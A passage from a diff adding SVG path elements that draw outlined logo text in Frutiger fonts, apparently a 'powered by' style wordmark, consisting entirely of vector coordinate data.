+    <path
+       style="font-size:33.17043304px;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;text-align:start;line-height:125%;writing-mode:lr-tb;text-anchor:start;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Frutiger"
+       d="M 102.28876,57.97848 L 102.28876,64.972684 C 101.77662,64.784857 101.19214,64.690938 100.5353,64.690927 C 99.767107,64.690938 99.026757,64.873251 98.314248,65.237867 C 97.612848,65.591455 97.056197,66.050001 96.644288,66.613505 C 96.343688,67.022337 96.121018,67.541654 95.976308,68.171455 C 95.876091,68.558187 95.826008,69.094078 95.826016,69.779128 L 95.826016,75.861765 L 87.125504,75.861765 L 87.125504,58.144219 L 95.274924,58.144219 L 95.274924,62.105392 C 95.987422,60.569555 96.783437,59.481201 97.662958,58.840325 C 98.542463,58.188434 99.622368,57.86248 100.90268,57.862463 C 101.30345,57.86248 101.76548,57.901153 102.28876,57.97848 M 115.63175,75.861765 L 115.63175,73.342526 C 114.26238,75.364548 112.21945,76.375557 109.50299,76.375558 C 107.49902,76.375557 105.94039,75.86729 104.82709,74.850755 C 103.71379,73.834221 103.15714,72.552504 103.15714,71.0056 C 103.15714,69.867528 103.41875,68.867568 103.94202,68.005716 C 104.4764,67.13283 105.22231,66.431201 106.17978,65.900825 C 106.79207,65.558307 107.65489,65.276551 108.7682,65.055554 C 109.89264,64.82353 111.22861,64.707512 112.7761,64.707501 C 113.47749,64.707512 114.37371,64.735135 115.46475,64.790371 C 115.44246,63.994833 115.12518,63.353974 114.51288,62.867793 C 113.90056,62.381638 112.86517,62.138553 111.40674,62.13854 C 110.47156,62.138553 109.50298,62.254571 108.50101,62.486592 C 107.76623,62.663395 106.66962,63.05012 105.21119,63.646768 L 105.21119,58.740881 C 106.54715,58.365223 107.78292,58.10004 108.91851,57.945332 C 110.05407,57.79066 111.31211,57.713315 112.69263,57.713297 C 114.85243,57.713315 116.71722,57.912202 118.28699,58.309959 C 119.05515,58.497815 119.76766,58.79062 120.42454,59.188378 C 121.08138,59.586169 121.59907,60.02814 121.97762,60.514293 C 122.36724,60.989428 122.68454,61.591614 122.9295,62.320853 C 123.18553,63.05012 123.31357,64.055605 123.31358,65.33731 L 123.31358,75.861765 L 115.63175,75.861765 M 115.69855,67.972568 C 114.30691,67.961526 113.33832,68.011249 112.79282,68.121734 C 112.24727,68.232234 111.81866,68.469793 111.50693,68.834413 C 111.19522,69.199047 111.03934,69.613395 111.03935,70.077459 C 111.03934,70.574683 111.22861,71.005604 111.60714,71.370227 C 111.98566,71.723808 112.44768,71.900596 112.99322,71.900593 C 113.67231,71.900596 114.29577,71.607791 114.86358,71.022173 C 115.43134,70.436566 115.71525,69.596821 115.71525,68.502934 C 115.71525,68.381399 115.70968,68.20461 115.69855,67.972568 M 142.55155,58.376254 L 142.55155,63.646768 C 141.04855,63.03907 139.76826,62.735215 138.71063,62.735202 C 137.41918,62.735215 136.38381,63.110891 135.6045,63.86223 C 134.82518,64.613593 134.43552,65.59698 134.43553,66.812392 C 134.43552,68.171463 134.82518,69.248768 135.6045,70.044311 C 136.39494,70.828816 137.46928,71.221066 138.82753,71.221061 C 139.92968,71.221066 141.22114,70.867489 142.70184,70.160328 L 142.70184,75.46399 C 140.50862,76.071702 138.34322,76.375557 136.20569,76.375558 C 134.44665,76.375557 132.80452,76.115898 131.27929,75.596582 C 130.13258,75.209858 129.13618,74.646344 128.29007,73.90604 C 127.45508,73.15469 126.80936,72.325994 126.35291,71.419948 C 125.69606,70.116137 125.36763,68.646582 125.36763,67.011279 C 125.36763,63.89539 126.52547,61.459022 128.84117,59.70217 C 130.66698,58.309976 133.14964,57.613871 136.2892,57.613853 C 138.47127,57.613871 140.55871,57.868005 142.55155,58.376254 M 154.2413,65.221293 L 159.21776,58.144219 L 168.95366,58.144219 L 162.94178,66.000268 L 169.20414,75.861765 L 159.13426,75.861765 L 154.2413,67.259888 L 154.2413,75.861765 L 145.52407,75.861765 L 145.52407,50.255022 L 154.2413,50.255022 L 154.2413,65.221293"
+       id="text2980" />
+    <path
+       style="font-size:9.72235012px;font-style:normal;font-variant:normal;font-weight:300;font-stretch:normal;text-align:start;line-height:125%;writing-mode:lr-tb;text-anchor:start;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Frutiger45-Light"
+       d="M 87.460353,88.057465 L 88.081744,88.057465 L 88.081744,85.211201 L 88.101471,85.211201 C 88.259282,85.530647 88.463124,85.770232 88.712998,85.929955 C 88.962867,86.083288 89.281782,86.159955 89.669743,86.159955 C 90.33387,86.159955 90.843476,85.923565 91.198561,85.450785 C 91.560211,84.971618 91.741039,84.355087 91.741044,83.601194 C 91.741039,82.815359 91.579938,82.202023 91.25774,81.761184 C 91.086772,81.531188 90.869779,81.355493 90.60676,81.234098 C 90.343734,81.106325 90.031395,81.042436 89.669743,81.042431 C 89.43302,81.042436 89.222602,81.077575 89.038488,81.147848 C 88.85437,81.211743 88.699845,81.294798 88.574911,81.397016 C 88.456549,81.499244 88.361203,81.601466 88.288874,81.703684 C 88.216541,81.799522 88.147498,81.901745 88.081744,82.010353 L 88.062018,82.048686 L 88.042291,82.048686 L 88.081744,81.157431 L 87.460353,81.157431 L 87.460353,88.057465 M 91.060474,83.601194 C 91.06047,83.863141 91.037455,84.112309 90.991431,84.348697 C 90.945397,84.585088 90.863203,84.802312 90.744847,85.000367 C 90.633058,85.192035 90.478533,85.348563 90.281269,85.469952 C 90.090575,85.584954 89.853854,85.642454 89.571109,85.642453 C 89.308084,85.642454 89.081227,85.581759 88.890538,85.460369 C 88.699845,85.33898 88.545319,85.179258 88.426961,84.9812 C 88.308599,84.776755 88.219829,84.556338 88.160651,84.319947 C 88.108045,84.077169 88.081743,83.837586 88.081744,83.601194 C 88.081743,83.364806 88.108045,83.128416 88.160651,82.892023 C 88.219829,82.649248 88.305311,82.42883 88.417097,82.23077 C 88.535456,82.026329 88.689981,81.863412 88.880675,81.742018 C 89.077939,81.620632 89.308084,81.559938 89.571109,81.559933 C 89.853854,81.559938 90.090575,81.620632 90.281269,81.742018 C 90.478533,81.857022 90.633058,82.01355 90.744847,82.211603 C 90.863203,82.403275 90.945397,82.617303 90.991431,82.853689 C 91.037455,83.090082 91.06047,83.33925 91.060474,83.601194 M 92.509615,83.601194 C 92.509614,83.939808 92.555643,84.265642 92.647702,84.578698 C 92.746334,84.885367 92.890996,85.156896 93.081688,85.393285 C 93.272378,85.629676 93.515674,85.818149 93.811576,85.958705 C 94.11405,86.092872 94.462554,86.159955 94.85709,86.159955 C 95.251621,86.159955 95.596838,86.092872 95.892741,85.958705 C 96.195213,85.818149 96.441797,85.629676 96.632492,85.393285 C 96.823179,85.150508 96.964554,84.875783 97.056616,84.569114 C 97.155245,84.262449 97.204561,83.939808 97.204567,83.601194 C 97.204561,83.262583 97.155245,82.939944 97.056616,82.633272 C 96.964554,82.320218 96.823179,82.045495 96.632492,81.809101 C 96.441797,81.572716 96.195213,81.387438 95.892741,81.253266 C 95.596838,81.112714 95.251621,81.042436 94.85709,81.042431 C 94.462554,81.042436 94.117338,81.112714 93.821439,81.253266 C 93.525538,81.387438 93.278954,81.575911 93.081688,81.818685 C 92.890996,82.055079 92.746334,82.326608 92.647702,82.633272 C 92.555643,82.939944 92.509614,83.262583 92.509615,83.601194 M 93.190185,83.601194 C 93.190184,83.013416 93.334846,82.527858 93.624172,82.144519 C 93.920071,81.7548 94.331043,81.559938 94.85709,81.559933 C 95.383132,81.559938 95.790816,81.7548 96.080145,82.144519 C 96.376041,82.527858 96.523991,83.013416 96.523995,83.601194 C 96.523991,84.188976 96.376041,84.677727 96.080145,85.06745 C 95.790816,85.450786 95.383132,85.642454 94.85709,85.642453 C 94.331043,85.642454 93.920071,85.450786 93.624172,85.06745 C 93.334846,84.677727 93.190184,84.188976 93.190185,83.601194 M 105.09447,81.157431 L 104.47308,81.157431 L 103.08235,85.383702 L 103.06262,85.383702 L 101.73107,81.157431 L 100.98146,81.157431 L 99.580861,85.383702 L 99.561135,85.383702 L 98.239447,81.157431 L 97.558876,81.157431 L 99.176464,86.044955 L 99.926079,86.044955 L 101.29708,81.818685 L 101.31681,81.818685 L 102.68781,86.044955 L 103.43743,86.044955 L 105.09447,81.157431 M 109.15539,85.278285 C 109.00415,85.374119 108.78387,85.460369 108.49455,85.537035 C 108.2118,85.607314 107.96192,85.642454 107.74493,85.642453 C 107.22547,85.642454 106.81778,85.466758 106.52188,85.115367 C 106.23255,84.763978 106.0879,84.316754 106.0879,83.773694 L 109.5302,83.773694 L 109.5302,83.467026 C 109.5302,83.128416 109.49075,82.815359 109.41184,82.527854 C 109.33293,82.233968 109.21128,81.975217 109.04689,81.751601 C 108.88908,81.527994 108.68195,81.355493 108.42551,81.234098 C 108.16905,81.106325 107.86987,81.042436 107.52794,81.042431 C 107.21889,81.042436 106.93285,81.106325 106.66983,81.234098 C 106.4068,81.355493 106.17995,81.531188 105.98927,81.761184 C 105.80514,81.99119 105.66049,82.262718 105.55527,82.575772 C 105.45664,82.888832 105.40733,83.230639 105.40733,83.601194 C 105.40733,83.978141 105.45007,84.323142 105.53555,84.636199 C 105.62103,84.942868 105.75254,85.211201 105.93008,85.441202 C 106.11419,85.671204 106.35091,85.850093 106.64024,85.977872 C 106.93614,86.09926 107.28793,86.159955 107.69562,86.159955 C 107.93891,86.159955 108.18879,86.1344 108.44523,86.083288 C 108.70825,86.038566 108.94498,85.974677 109.15539,85.89162 L 109.15539,85.278285 M 106.0879,83.256192 C 106.0879,83.051749 106.12078,82.850499 106.18652,82.652439 C 106.25886,82.447997 106.35749,82.262718 106.48242,82.096603 C 106.61393,81.930495 106.77175,81.799522 106.95587,81.703684 C 107.13998,81.607855 107.34383,81.559938 107.56739,81.559933 C 107.79096,81.559938 107.98494,81.607855 108.14933,81.703684 C 108.31372,81.793134 108.44523,81.917717 108.54386,82.077436 C 108.64908,82.237163 108.72469,82.419247 108.77073,82.623689 C 108.82333,82.821749 108.84962,83.032582 108.84963,83.256192 L 106.0879,83.256192 M 110.61748,86.044955 L 111.23887,86.044955 L 111.23887,83.629944 C 111.23887,83.387167 111.2586,83.153972 111.29805,82.930357 C 111.33751,82.700359 111.40654,82.492719 111.50518,82.307437 C 111.60381,82.115773 111.73204,81.96244 111.88985,81.847435 C 112.05424,81.732439 112.25479,81.674939 112.49151,81.674934 C 112.66905,81.674939 112.82029,81.694105 112.94523,81.732434 L 112.94523,81.099931 C 112.88604,81.08077 112.81372,81.067992 112.72824,81.061598 C 112.64933,81.048825 112.57699,81.042436 112.51124,81.042431 C 112.21533,81.042436 111.9556,81.141464 111.73204,81.339516 C 111.51504,81.537577 111.34408,81.789939 111.21914,82.096603 L 111.19941,82.096603 L 111.19941,81.157431 L 110.57803,81.157431 C 110.59775,81.323548 110.60761,81.473688 110.60761,81.607851 C 110.61419,81.735634 110.61748,81.949662 110.61748,82.249937 L 110.61748,86.044955 M 113.39078,85.929955 C 113.78531,86.083288 114.25546,86.159955 114.80123,86.159955 C 115.00507,86.159955 115.20892,86.1344 115.41276,86.083288 C 115.61661,86.032177 115.804,85.952315 115.97497,85.843704 C 116.15251,85.735092 116.29389,85.591342 116.3991,85.412452 C 116.5043,85.233563 116.55691,85.019535 116.55691,84.770365 C 116.55691,84.553144 116.51417,84.361476 116.42868,84.195362 C 116.3432,84.029253 116.22813,83.888696 116.08347,83.773694 C 115.94537,83.652307 115.79743,83.553278 115.63961,83.476609 C 115.48838,83.393556 115.2944,83.300917 115.05769,83.198691 C 114.72232,83.051749 114.47575,82.920776 114.31793,82.805773 C 114.16012,82.690776 114.08121,82.547025 114.08121,82.374521 C 114.08121,82.080635 114.17326,81.872995 114.35738,81.751601 C 114.54807,81.623827 114.81767,81.559938 115.16618,81.559933 C 115.33714,81.559938 115.52454,81.582299 115.72839,81.627018 C 115.9388,81.665355 116.12292,81.719661 116.28074,81.789935 L 116.33991,81.262849 C 116.13607,81.186186 115.91579,81.131881 115.67907,81.099931 C 115.44893,81.061603 115.25495,81.042436 115.09713,81.042431 C 114.88014,81.042436 114.67301,81.067992 114.47575,81.119098 C 114.28505,81.163826 114.1108,81.240493 113.95298,81.349099 C 113.80175,81.457716 113.6801,81.598272 113.58805,81.770768 C 113.50256,81.936884 113.45981,82.138135 113.45981,82.374521 C 113.45981,82.547025 113.49598,82.703554 113.56832,82.844106 C 113.64065,82.978277 113.73599,83.096472 113.85435,83.198691 C 113.97272,83.300917 114.09765,83.387167 114.22916,83.457442 C 114.36725,83.527723 114.54478,83.61078 114.76178,83.706611 C 115.13658,83.879113 115.41605,84.038836 115.60016,84.185779 C 115.78428,84.326337 115.87634,84.521199 115.87634,84.770365 C 115.87634,85.038701 115.76784,85.25273 115.55085,85.412452 C 115.33385,85.565786 115.07083,85.642454 114.76178,85.642453 C 114.30807,85.642454 113.87079,85.540231 113.44995,85.335785 L 113.39078,85.929955 M 127.11361,81.157431 L 126.49222,81.157431 L 125.10149,85.383702 L 125.08177,85.383702 L 123.75021,81.157431 L 123.0006,81.157431 L 121.60001,85.383702 L 121.58027,85.383702 L 120.25859,81.157431 L 119.57802,81.157431 L 121.19561,86.044955 L 121.94522,86.044955 L 123.31623,81.818685 L 123.33595,81.818685 L 124.70696,86.044955 L 125.45657,86.044955 L 127.11361,81.157431 M 131.17454,85.278285 C 131.0233,85.374119 130.80301,85.460369 130.51369,85.537035 C 130.23094,85.607314 129.98107,85.642454 129.76408,85.642453 C 129.2446,85.642454 128.83693,85.466758 128.54103,85.115367 C 128.2517,84.763978 128.10703,84.316754 128.10704,83.773694 L 131.54935,83.773694 L 131.54935,83.467026 C 131.54934,83.128416 131.50988,82.815359 131.43099,82.527854 C 131.35207,82.233968 131.23043,81.975217 131.06604,81.751601 C 130.90822,81.527994 130.70109,81.355493 130.44465,81.234098 C 130.1882,81.106325 129.88901,81.042436 129.54709,81.042431 C 129.23803,81.042436 128.95199,81.106325 128.68897,81.234098 C 128.42595,81.355493 128.1991,81.531188 128.0084,81.761184 C 127.82429,81.99119 127.67962,82.262718 127.57442,82.575772 C 127.47578,82.888832 127.42646,83.230639 127.42646,83.601194 C 127.42646,83.978141 127.4692,84.323142 127.55469,84.636199 C 127.64017,84.942868 127.77168,85.211201 127.94923,85.441202 C 128.13334,85.671204 128.37006,85.850093 128.65939,85.977872 C 128.95529,86.09926 129.30708,86.159955 129.71476,86.159955 C 129.95805,86.159955 130.20792,86.1344 130.46438,86.083288 C 130.7274,86.038566 130.96411,85.974677 131.17454,85.89162 L 131.17454,85.278285 M 128.10704,83.256192 C 128.10703,83.051749 128.13991,82.850499 128.20567,82.652439 C 128.278,82.447997 128.37664,82.262718 128.50157,82.096603 C 128.63308,81.930495 128.7909,81.799522 128.97501,81.703684 C 129.15912,81.607855 129.36297,81.559938 129.58654,81.559933 C 129.81011,81.559938 130.00408,81.607855 130.16848,81.703684 C 130.33286,81.793134 130.46437,81.917717 130.56301,82.077436 C 130.66821,82.237163 130.74383,82.419247 130.78986,82.623689 C 130.84246,82.821749 130.86877,83.032582 130.86877,83.256192 L 128.10704,83.256192 M 132.57745,86.044955 L 133.19884,86.044955 L 133.19884,85.268702 L 133.21856,85.268702 C 133.54077,85.862871 134.06352,86.159955 134.78684,86.159955 C 135.45096,86.159955 135.96057,85.923565 136.31565,85.450785 C 136.6773,84.971618 136.85813,84.355087 136.85814,83.601194 C 136.85813,82.815359 136.69703,82.202023 136.37483,81.761184 C 136.20386,81.531188 135.98687,81.355493 135.72385,81.234098 C 135.46082,81.106325 135.14849,81.042436 134.78684,81.042431 C 134.55669,81.042436 134.34627,81.077575 134.15558,81.147848 C 133.97146,81.218131 133.81365,81.304381 133.68214,81.4066 C 133.55063,81.508827 133.44542,81.611049 133.36651,81.713268 C 133.29418,81.815494 133.24487,81.904939 133.21856,81.981603 L 133.19884,81.981603 L 133.19884,78.85742 L 132.57745,78.85742 L 132.57745,86.044955 M 136.17757,83.601194 C 136.17756,83.863141 136.15455,84.112309 136.10852,84.348697 C 136.06249,84.585088 135.9803,84.802312 135.86194,85.000367 C 135.75015,85.192035 135.59563,85.348563 135.39836,85.469952 C 135.20766,85.584954 134.97095,85.642454 134.6882,85.642453 C 134.42518,85.642454 134.19832,85.581759 134.00763,85.460369 C 133.81693,85.33898 133.66241,85.179258 133.54405,84.9812 C 133.42569,84.776755 133.33692,84.556338 133.27775,84.319947 C 133.22513,84.077169 133.19884,83.837586 133.19884,83.601194 C 133.19884,83.358417 133.22513,83.118832 133.27775,82.882439 C 133.33035,82.646053 133.41254,82.42883 133.52433,82.23077 C 133.64268,82.026329 133.79721,81.863412 133.98791,81.742018 C 134.18517,81.620632 134.4186,81.559938 134.6882,81.559933 C 134.97095,81.559938 135.20766,81.620632 135.39836,81.742018 C 135.59563,81.857022 135.75015,82.01355 135.86194,82.211603 C 135.9803,82.403275 136.06249,82.617303 136.10852,82.853689 C 136.15455,83.090082 136.17756,83.33925 136.17757,83.601194 M 143.57908,86.044955 L 144.1906,86.044955 C 144.17087,85.891621 144.15772,85.744676 144.15115,85.60412 C 144.14457,85.463564 144.14129,85.268702 144.14129,85.019534 L 144.14129,82.863273 C 144.14129,82.224385 144.0032,81.761189 143.72703,81.473683 C 143.45085,81.186186 143.00043,81.042436 142.37575,81.042431 C 142.15876,81.042436 141.9056,81.077575 141.61627,81.147848 C 141.32695,81.211743 141.08694,81.288409 140.89625,81.377849 L 140.89625,81.962436 C 141.33023,81.694105 141.8234,81.559938 142.37575,81.559933 C 142.78344,81.559938 143.07605,81.662161 143.25359,81.866601 C 143.43113,82.071051 143.51989,82.387303 143.51989,82.815356 L 143.51989,83.064524 L 143.40154,83.064524 C 142.9807,83.064527 142.6026,83.080499 142.26726,83.112441 C 141.93848,83.144389 141.62285,83.214667 141.32037,83.323276 C 141.0179,83.43189 140.77131,83.60439 140.58062,83.840777 C 140.39651,84.077169 140.30445,84.390227 140.30445,84.779949 C 140.30445,84.914117 140.32417,85.057868 140.36363,85.211201 C 140.40965,85.364536 140.49185,85.514675 140.61021,85.66162 C 140.72857,85.802177 140.89954,85.920372 141.1231,86.016205 C 141.34667,86.112038 141.62613,86.159955 141.96149,86.159955 C 142.29027,86.159955 142.60589,86.080094 142.90837,85.920371 C 143.21085,85.760649 143.42784,85.540231 143.55935,85.259118 L 143.57908,85.259118 L 143.57908,86.044955 M 143.51989,83.879111 C 143.51989,84.077169 143.50675,84.265642 143.48044,84.444531 C 143.46072,84.623422 143.40153,84.805506 143.3029,84.990783 C 143.21085,85.176063 143.0596,85.332591 142.84919,85.460369 C 142.64534,85.581759 142.37246,85.642454 142.03053,85.642453 C 141.72148,85.642454 141.46832,85.572176 141.27106,85.431619 C 141.08036,85.284674 140.98502,85.061063 140.98502,84.760782 C 140.98502,84.505227 141.05077,84.297587 141.18229,84.137862 C 141.32037,83.978141 141.5012,83.859946 141.72477,83.783277 C 141.95491,83.700224 142.2015,83.645918 142.46452,83.62036 C 142.72754,83.594807 143.02015,83.582028 143.34236,83.582027 L 143.51989,83.582027 L 143.51989,83.879111 M 145.46529,88.057465 L 146.08668,88.057465 L 146.08668,85.211201 L 146.10641,85.211201 C 146.26422,85.530647 146.46806,85.770232 146.71794,85.929955 C 146.9678,86.083288 147.28672,86.159955 147.67468,86.159955 C 148.33881,86.159955 148.84841,85.923565 149.2035,85.450785 C 149.56515,84.971618 149.74597,84.355087 149.74598,83.601194 C 149.74597,82.815359 149.58487,82.202023 149.26268,81.761184 C 149.09171,81.531188 148.87472,81.355493 148.6117,81.234098 C 148.34867,81.106325 148.03634,81.042436 147.67468,81.042431 C 147.43795,81.042436 147.22753,81.077575 147.04342,81.147848 C 146.85931,81.211743 146.70478,81.294798 146.57985,81.397016 C 146.46148,81.499244 146.36614,81.601466 146.29381,81.703684 C 146.22148,81.799522 146.15244,81.901745 146.08668,82.010353 L 146.06695,82.048686 L 146.04723,82.048686 L 146.08668,81.157431 L 145.46529,81.157431 L 145.46529,88.057465 M 149.06541,83.601194 C 149.06541,83.863141 149.04239,84.112309 148.99637,84.348697 C 148.95033,84.585088 148.86814,84.802312 148.74978,85.000367 C 148.638,85.192035 148.48347,85.348563 148.28621,85.469952 C 148.09551,85.584954 147.85879,85.642454 147.57605,85.642453 C 147.31302,85.642454 147.08616,85.581759 146.89548,85.460369 C 146.70478,85.33898 146.55025,85.179258 146.4319,84.9812 C 146.31354,84.776755 146.22477,84.556338 146.16558,84.319947 C 146.11298,84.077169 146.08668,83.837586 146.08668,83.601194 C 146.08668,83.364806 146.11298,83.128416 146.16558,82.892023 C 146.22477,82.649248 146.31025,82.42883 146.42203,82.23077 C 146.54039,82.026329 146.69492,81.863412 146.88562,81.742018 C 147.08288,81.620632 147.31302,81.559938 147.57605,81.559933 C 147.85879,81.559938 148.09551,81.620632 148.28621,81.742018 C 148.48347,81.857022 148.638,82.01355 148.74978,82.211603 C 148.86814,82.403275 148.95033,82.617303 148.99637,82.853689 C 149.04239,83.090082 149.06541,83.33925 149.06541,83.601194 M 150.84004,88.057465 L 151.46144,88.057465 L 151.46144,85.211201 L 151.48116,85.211201 C 151.63897,85.530647 151.84281,85.770232 152.09269,85.929955 C 152.34255,86.083288 152.66147,86.159955 153.04943,86.159955 C 153.71356,86.159955 154.22316,85.923565 154.57825,85.450785 C 154.9399,84.971618 155.12072,84.355087 155.12073,83.601194 C 155.12072,82.815359 154.95962,82.202023 154.63743,81.761184 C 154.46646,81.531188 154.24947,81.355493 153.98645,81.234098 C 153.72342,81.106325 153.41109,81.042436 153.04943,81.042431 C 152.8127,81.042436 152.60228,81.077575 152.41817,81.147848 C 152.23406,81.211743 152.07953,81.294798 151.9546,81.397016 C 151.83623,81.499244 151.74089,81.601466 151.66856,81.703684 C 151.59623,81.799522 151.52719,81.901745 151.46144,82.010353 L 151.4417,82.048686 L 151.42198,82.048686 L 151.46144,81.157431 L 150.84004,81.157431 L 150.84004,88.057465 M 154.44016,83.601194 C 154.44016,83.863141 154.41715,84.112309 154.37112,84.348697 C 154.32508,84.585088 154.24289,84.802312 154.12453,85.000367 C 154.01275,85.192035 153.85822,85.348563 153.66096,85.469952 C 153.47026,85.584954 153.23354,85.642454 152.9508,85.642453 C 152.68777,85.642454 152.46091,85.581759 152.27023,85.460369 C 152.07953,85.33898 151.925,85.179258 151.80665,84.9812 C 151.68829,84.776755 151.59952,84.556338 151.54033,84.319947 C 151.48773,84.077169 151.46143,83.837586 151.46144,83.601194 C 151.46143,83.364806 151.48773,83.128416 151.54033,82.892023 C 151.59952,82.649248 151.685,82.42883 151.79679,82.23077 C 151.91514,82.026329 152.06967,81.863412 152.26037,81.742018 C 152.45763,81.620632 152.68777,81.559938 152.9508,81.559933 C 153.23354,81.559938 153.47026,81.620632 153.66096,81.742018 C 153.85822,81.857022 154.01275,82.01355 154.12453,82.211603 C 154.24289,82.403275 154.32508,82.617303 154.37112,82.853689 C 154.41715,83.090082 154.44016,83.33925 154.44016,83.601194 M 156.27397,86.044955 L 156.89536,86.044955 L 156.89536,78.85742 L 156.27397,78.85742 L 156.27397,86.044955 M 158.43157,86.044955 L 159.05296,86.044955 L 159.05296,81.157431 L 158.43157,81.157431 L 158.43157,86.044955 M 159.05296,79.049088 L 158.43157,79.049088 L 158.43157,79.854092 L 159.05296,79.854092 L 159.05296,79.049088 M 163.91314,81.234098 C 163.7619,81.182993 163.58435,81.13827 163.38052,81.099931 C 163.18325,81.061603 162.95638,81.042436 162.69995,81.042431 C 162.33171,81.042436 161.99307,81.106325 161.68401,81.234098 C 161.38154,81.355493 161.11852,81.531188 160.89496,81.761184 C 160.67795,81.9848 160.51028,82.25633 160.39192,82.575772 C 160.27356,82.888832 160.21438,83.230639 160.21438,83.601194 C 160.21438,83.946197 160.2637,84.275226 160.36233,84.588282 C 160.46754,84.89495 160.61878,85.166479 160.81605,85.402869 C 161.01989,85.639259 161.27305,85.824537 161.57552,85.958705 C 161.88457,86.092872 162.23307,86.159955 162.62104,86.159955 C 162.87749,86.159955 163.10762,86.147178 163.31147,86.121622 C 163.51531,86.102455 163.71586,86.057733 163.91314,85.987455 L 163.85395,85.422035 C 163.44627,85.568981 163.06817,85.642454 162.71967,85.642453 C 162.44349,85.642454 162.19033,85.591342 161.96019,85.489119 C 161.73663,85.380508 161.54593,85.233563 161.38812,85.048284 C 161.23031,84.856617 161.10866,84.639394 161.02318,84.396614 C 160.9377,84.147448 160.89496,83.882308 160.89496,83.601194 C 160.89496,82.994249 161.06263,82.502303 161.39799,82.125353 C 161.73333,81.748411 162.19691,81.559938 162.78872,81.559933 C 162.94652,81.559938 163.12077,81.582299 163.31147,81.627018 C 163.50215,81.671744 163.68628,81.732439 163.86381,81.809101 L 163.91314,81.234098 M 167.77509,86.044955 L 168.38662,86.044955 C 168.36688,85.891621 168.35374,85.744676 168.34716,85.60412 C 168.34059,85.463564 168.3373,85.268702 168.3373,85.019534 L 168.3373,82.863273 C 168.3373,82.224385 168.19921,81.761189 167.92304,81.473683 C 167.64686,81.186186 167.19644,81.042436 166.57176,81.042431 C 166.35477,81.042436 166.10161,81.077575 165.81229,81.147848 C 165.52296,81.211743 165.28295,81.288409 165.09226,81.377849 L 165.09226,81.962436 C 165.52625,81.694105 166.01942,81.559938 166.57176,81.559933 C 166.97945,81.559938 167.27205,81.662161 167.4496,81.866601 C 167.62714,82.071051 167.71591,82.387303 167.71591,82.815356 L 167.71591,83.064524 L 167.59756,83.064524 C 167.17671,83.064527 166.79862,83.080499 166.46327,83.112441 C 166.13448,83.144389 165.81886,83.214667 165.51639,83.323276 C 165.21391,83.43189 164.96733,83.60439 164.77663,83.840777 C 164.59252,84.077169 164.50047,84.390227 164.50047,84.779949 C 164.50047,84.914117 164.52019,85.057868 164.55964,85.211201 C 164.60567,85.364536 164.68786,85.514675 164.80623,85.66162 C 164.92459,85.802177 165.09555,85.920372 165.31912,86.016205 C 165.54268,86.112038 165.82215,86.159955 166.1575,86.159955 C 166.48628,86.159955 166.8019,86.080094 167.10439,85.920371 C 167.40686,85.760649 167.62385,85.540231 167.75536,85.259118 L 167.77509,85.259118 L 167.77509,86.044955 M 167.71591,83.879111 C 167.71591,84.077169 167.70276,84.265642 167.67645,84.444531 C 167.65673,84.623422 167.59755,84.805506 167.49892,84.990783 C 167.40686,85.176063 167.25562,85.332591 167.0452,85.460369 C 166.84136,85.581759 166.56848,85.642454 166.22655,85.642453 C 165.91749,85.642454 165.66433,85.572176 165.46707,85.431619 C 165.27638,85.284674 165.18103,85.061063 165.18103,84.760782 C 165.18103,84.505227 165.24678,84.297587 165.3783,84.137862 C 165.51639,83.978141 165.69721,83.859946 165.92079,83.783277 C 166.15093,83.700224 166.39751,83.645918 166.66053,83.62036 C 166.92355,83.594807 167.21617,83.582028 167.53837,83.582027 L 167.71591,83.582027 L 167.71591,83.879111 M 171.89041,81.157431 L 170.74627,81.157431 L 170.74627,79.767842 L 170.12487,79.978676 L 170.12487,81.157431 L 169.13855,81.157431 L 169.13855,81.674934 L 170.12487,81.674934 L 170.12487,84.530781 C 170.12487,84.805506 170.13474,85.032313 170.15447,85.211201 C 170.17419,85.390091 170.22022,85.553009 170.29255,85.699953 C 170.36489,85.84051 170.47996,85.952315 170.63778,86.035372 C 170.79558,86.118427 171.006,86.159955 171.26903,86.159955 C 171.40711,86.159955 171.5452,86.143983 171.68328,86.112038 C 171.82795,86.086483 171.94301,86.057733 172.02851,86.025788 L 171.98905,85.527452 C 171.89041,85.565786 171.79507,85.594537 171.70301,85.613703 C 171.61753,85.63287 171.52218,85.642454 171.41697,85.642453 C 171.18025,85.642454 171.00929,85.568981 170.90408,85.422035 C 170.79887,85.275091 170.74627,85.080229 170.74627,84.837449 L 170.74627,81.674934 L 171.89041,81.674934 L 171.89041,81.157431 M 172.93762,86.044955 L 173.55901,86.044955 L 173.55901,81.157431 L 172.93762,81.157431 L 172.93762,86.044955 M 173.55901,79.049088 L 172.93762,79.049088 L 172.93762,79.854092 L 173.55901,79.854092 L 173.55901,79.049088 M 174.71057,83.601194 C 174.71057,83.939808 174.75659,84.265642 174.84866,84.578698 C 174.94729,84.885367 175.09195,85.156896 175.28264,85.393285 C 175.47333,85.629676 175.71663,85.818149 176.01253,85.958705 C 176.315,86.092872 176.66351,86.159955 177.05804,86.159955 C 177.45257,86.159955 177.7978,86.092872 178.0937,85.958705 C 178.39617,85.818149 178.64275,85.629676 178.83345,85.393285 C 179.02414,85.150508 179.16551,84.875783 179.25757,84.569114 C 179.35619,84.262449 179.40552,83.939808 179.40552,83.601194 C 179.40552,83.262583 179.35619,82.939944 179.25757,82.633272 C 179.16551,82.320218 179.02414,82.045495 178.83345,81.809101 C 178.64275,81.572716 178.39617,81.387438 178.0937,81.253266 C 177.7978,81.112714 177.45257,81.042436 177.05804,81.042431 C 176.66351,81.042436 176.31829,81.112714 176.0224,81.253266 C 175.72649,81.387438 175.47991,81.575911 175.28264,81.818685 C 175.09195,82.055079 174.94729,82.326608 174.84866,82.633272 C 174.75659,82.939944 174.71057,83.262583 174.71057,83.601194 M 175.39114,83.601194 C 175.39113,83.013416 175.5358,82.527858 175.82513,82.144519 C 176.12103,81.7548 176.53199,81.559938 177.05804,81.559933 C 177.58408,81.559938 177.99177,81.7548 178.2811,82.144519 C 178.57699,82.527858 178.72495,83.013416 178.72495,83.601194 C 178.72495,84.188976 178.57699,84.677727 178.2811,85.06745 C 177.99177,85.450786 177.58408,85.642454 177.05804,85.642453 C 176.53199,85.642454 176.12103,85.450786 175.82513,85.06745 C 175.5358,84.677727 175.39113,84.188976 175.39114,83.601194 M 180.46998,86.044955 L 181.09138,86.044955 L 